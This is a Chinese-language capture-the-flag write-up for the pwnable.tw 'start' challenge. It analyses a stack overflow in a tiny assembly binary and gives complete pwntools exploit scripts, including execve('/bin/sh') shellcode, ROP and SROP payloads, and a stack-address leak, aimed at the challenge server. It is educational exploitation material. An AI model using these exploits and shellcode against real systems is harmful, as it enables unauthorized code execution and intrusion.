文章目录
  1. 1. 0x00 序
  2. 2. 0x01 漏洞分析与调试
  3. 3. 0x03 总结
  4. 4. 0x04 参考

pwnable.tw 上的第一道题,实际挺简单,但是解决它也走了不少弯路,希望他人可以借鉴


0x00 序

做这个题也花了不少时间,学习了很多最后没用的资料,虽然这些知识没有用到,但是还是收获非常大的。
题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/pwnable.tw-start

0x01 漏洞分析与调试

首先还是使用IDA+F5查看代码,但是结果不是很好,因为源代码就是用汇编写的,所以还是看汇编源代码

.text:08048060 _start          proc near
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -//这里没有识别出来是 sys_read 
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

代码很简单,逻辑很清晰,就是一个栈溢出,然后就是查看安全机制了,但是这里出现了一个坑…(没想到工具结果出错了,所以不要太依赖工具)

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

一看上面的结果开启了NX,首先想到的就是ROP,但是程序太小没有可以用的gadget,所以想到两个方法ret2vdso和SROP,之前没有学习过ret2vdso,就去找了不少资料,资料(英文的)我会放在最后给大家参考,这里不说这个,最后写出来的exp也没有成功,这就开始折腾了

上面的方法没有成功,所以就再第一种方法上加上了SROP,写出一个exp,这个exp在不开启ASLR是可以getshell的,脚本如下

#filename:exp_frame_no_aslr.py
#author:reshahar
from pwn import *

p = process('./start')

#p = remote('chall.pwnable.tw',10000)

#p = remote('127.0.0.1',7777)

#0xf7ffd000 0xf7ffe000

vdso = 0xf7ffd000
gad0 = vdso + 0x00000c01    #0x00000c01 : pop edx ; pop ecx ; ret
gad1 = vdso + 0x00000bd1    #0x00000bd1 : mov eax, 0x77 ; int 0x80

reread = 0x08048095 

context.clear()

frame = SigreturnFrame(kernel='amd64')
frame.eax = 11
frame.ebx = 0xffffd560
frame.esp = 0xdeadbeef
frame.eip = 0x0804808f

payload1 = 'A'*20+p32(gad0)+p32(0xff)+p32(0xffffd50c)+p32(reread)+'B'*24  #buffer is little 
payload2 = p32(gad1)+str(frame)+'/bin/sh\x00'

p.send(payload1+payload2)
p.interactive()

而pwnable.tw上开启ASLR很明显会失败,因为上面的很多地址都是硬编码

在之前dump vdso的时候,我就发现栈是可执行的,但是相信了工具,因为是哪里出错了

gdb-peda$ vmmap 
Start      End        Perm    Name
0x08048000 0x08049000 r-xp    /root/D/stack overflow/pwnable.tw-start/start
0xf7ffb000 0xf7ffd000 r--p    [vvar]
0xf7ffd000 0xf7ffe000 r-xp    [vdso]
0xfffdd000 0xffffe000 rwxp    [stack]

但是之前的方法行不通,又想起这个发现,还是将shellcode放到栈上试试,实现这个还是需要,shellcode和栈地址,shellcode好解决,而栈地址呢?

重新看一下汇编代码,程序的开始会把esp寄存器压栈,然后把_exit函数的地址压栈,通过调试可以发现程序最后是返回到 _exit函数去执行,所以当程序执行ret指令的时候,esp的值的地址存储的正是esp的值,然后把程序劫持到08048087(mov ecx,esp)就可以使用write将这个值打印出来,栈地址就可以获取到了,再使用gdb确定一下shellcod
e的地址和esp的地址的偏移就行可以了,下面看一下具体操作

gdb附加下断点然后单步执行直到程序读入输入的数据,esp的值就是缓冲区的起始位置

gdb-peda$ b*0x08048087
Breakpoint 1 at 0x8048087
...
gdb-peda$ x/20x $esp
0xffffd4ec:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd4fc:    0x41414141    0xffffd504    0xc931d231    0x2f2f6851
0xffffd50c:    0x2f686873    0x896e6962    0xcd0bb0e3    0xffffd680
0xffffd51c:    0xffffd726    0xffffd733    0xffffd746    0xffffd757
0xffffd52c:    0xffffd762    0xffffd772    0xffffd7a9    0xffffd7f7
gdb-peda$ x/20x $esp+24        //shellcode起始位置0xffffd504
0xffffd504:    0xc931d231    0x2f2f6851    0x2f686873    0x896e6962
0xffffd514:    0xcd0bb0e3    0xffffd680    0xffffd726    0xffffd733
0xffffd524:    0xffffd746    0xffffd757    0xffffd762    0xffffd772
0xffffd534:    0xffffd7a9    0xffffd7f7    0xffffd7ff    0xffffd80a
0xffffd544:    0xffffd81c    0xffffd847    0xffffd855    0xffffd871

栈地址0xffffd4f0
0xffffd504-0xffffd4f0 = 20  //偏移

完整exp如下:

#filename:exp.py
#author:reshahar

from pwn import *
#p = process('./start')
p = remote('chall.pwnable.tw',10000)

#execve('/bin/sh')
# xor edx,edx
# xor ecx,ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx,esp
# mov al,11
# int 0x80

sh="\x31\xd2\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

reread = 0x08048087 # mov ecx,esp

payload1 = 'A'*20+p32(reread)

#raw_input()

p.send(payload1)

p.recvuntil("Let's start the CTF:")

stack_esp = u32(p.recv(4))
print 'stack addr'+hex(stack_esp)

off_of_sh = 20  #stack_esp offset sh

payload2 = 'A'*20+p32(stack_esp+off_of_sh)+sh

p.send(payload2)

p.interactive()

0x03 总结

简单的栈溢出,其中尝试各种技术花费了不少时间,也就是各种折腾,但是还是学习到了不少的知识

0x04 参考

[1]:http://blog.csdn.net/xiaominthere/article/details/17287965 Linux系统调用 int 80h int 0x80
[2]:http://v0ids3curity.blogspot.com/2014/12/return-to-vdso-using-elf-auxiliary.html Return to VDSO using ELF Auxiliary Vectors
[3]:http://www.2cto.com/article/201512/452080.html Sigreturn Oriented Programming (SROP) Attack攻击原理

文章目录
  1. 1. 0x00 序
  2. 2. 0x01 漏洞分析与调试
  3. 3. 0x03 总结
  4. 4. 0x04 参考